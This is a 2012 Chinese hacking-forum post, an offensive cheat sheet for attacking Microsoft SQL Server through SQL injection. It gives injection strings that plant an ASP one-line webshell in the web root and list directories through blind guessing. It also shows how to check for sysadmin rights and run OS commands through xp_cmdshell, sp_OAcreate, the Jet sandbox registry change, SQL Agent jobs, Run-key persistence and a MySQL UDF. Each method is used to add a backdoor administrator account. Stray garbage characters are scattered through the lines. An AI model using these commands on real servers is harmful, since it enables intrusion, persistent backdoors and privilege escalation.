找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3051|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MSSQL语句导出一句话木马. a  Q  c3 I" Z  q& a
首先确定网站的WEB路径, a- b; O. c4 D9 ^
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
. S; E+ |+ R# }' s6 R9 u% v3 Z2 }
0 X+ a- Y9 B2 m* q6 b: n6 J9 t$ Y;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
7 W5 T: B. h2 k- ~8 V//将一句话木马插入表中6 b" u; h- N% ?1 n: l

) r0 h% Q, m" _6 M8 C. c5 ?;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- 0 h3 P* m2 s" g
//导出一个ASP文件$ H/ k" A% k0 p, t1 m) D1 x
+ u. J0 b8 Y1 q
* K% s) J6 `. t) R0 g% J
关于MSSQL列目录
/ L) \- Z( {  w9 k' Q;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
( R2 ~5 Y( R. l/ {" zInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
! }! X5 U) F4 j+ L0 i6 N% Q" y1 m) m4 G: O: {8 I9 p0 w3 W
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
& j, A, c4 c: W& o
8 {) y" r7 J' k5 c9 ZAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段% T9 i4 l% T9 C$ ]2 X
) n) z$ ?$ j+ l/ @0 [. I) Z+ t" H
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符5 h; Z  j& M9 i" l3 t4 u; d
% W* X4 J2 s; c( d
. F, o% I# E5 E3 q( M# U* b5 o0 ?) e
数据库版本和权限查看
$ O1 G8 E: V  ]8 C5 Y) x" [: kand 1=(select @@VERSION) //查看详细的数据库信息.
# D- S. j" i/ @& `and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
' ]# U' q2 E1 Sand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
" D$ n& y+ R' y) v/ T" a  k5 d) q  d3 z3 T

1 p1 {5 R2 k1 h1.利用xp_cmdshell执行命令" I. n0 J. ~. x9 F; K7 x
exec master..xp_cmdshell 'net user rfire 123456 /add'3 y- I6 v3 c, O( J! C+ k  g) S4 Y
exec master..xp_cmdshell 'net localgroup administrators rfire /add'- j# E3 d8 R: e5 }. |

( h; {1 v! J) E& s7 N恢复xp_cmdshell存储过程
! z- A' i# Q" T3 o* v. ]; U1 w; jExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'. g; @5 }) i+ w% J: N
  d( F1 g0 E. C4 f6 ~* j

% B' B7 V8 b3 T6 d3 j6 t- N2.利用SP_OAcreate和SP_OAMETHOD执行命令
2 |; H8 y$ k+ v! V1 A, B在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下% j3 K5 a1 @4 n& x
DECLARE @shell INT //建立一个@shell实体
; M' Y- y2 ~# w0 sEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
) l: V" V- w. A" R+ e  z# E" jEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
6 x3 F4 x" D' [( R
, _: o8 q6 n  Q3 F. E8 L, g3 `% e7 d. `5 q8 ?( f) m5 j
3.利用沙盒模式0 [6 k7 z/ H$ |; a
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。1 S: u' F5 |) L; j! W) q9 u
开启沙盒模式:7 p( X/ L( p5 F8 ?
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0* Y7 l) j( ^; N0 K8 a

6 X3 v" {0 i- u3 d, u  k执行命令:
8 l2 i. U9 Z- ?6 }Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');' z& v0 n/ J) ~
5 w. [) V3 U2 W) X2 o2 _
3 \2 n# g/ d3 }0 P
4.利用SQL代理执行命令
, v5 A) ?6 O0 e0 U+ EEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
5 b: i( B! h. [3 }) R/ F( z& Z1 @9 b( O; s
执行命令:
) u: m  D* V' Zuse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错- U! D3 {# `) ~0 E4 e$ ~6 X0 a( \
exec sp_add_job 'x'9 f: [# x; ~$ `7 H* i0 I# a
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
, U3 M' w& l) N0 J. J4 \exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业1 T# F4 k$ @8 d: B6 f6 B

' c/ G9 q8 N! E* O
- h  p9 U6 S4 g- Q5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)- {( I5 B! g; {/ f' \: F$ _
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'9 D" N" ^$ n" @9 j, [9 F

1 J' E/ C, [2 {; P% j5 f. O* \- k# g" n
6.MYSQL的命令执行
1 M8 e8 P6 n7 a% n( C% @MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)$ P3 g$ x: m' Q
首先要在su.php下导出c:\windows\udf.dll
* {0 `8 Q4 _* J导出后执行创建自定义函数命令:8 w* Z; `; j8 O2 e0 K& n1 I
Create Function cmdshell returns string soname 'udf.dll'
9 Z$ `7 a& p* W执行命令
  }% ?1 z! z4 D( \select cmdshell('net user rfire 123456 /add')7 O; t* v! C& B4 w; C" y
执行后删除函数 drop function cmdshell5 v4 [, ^9 u8 h; g  J, y+ a9 Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表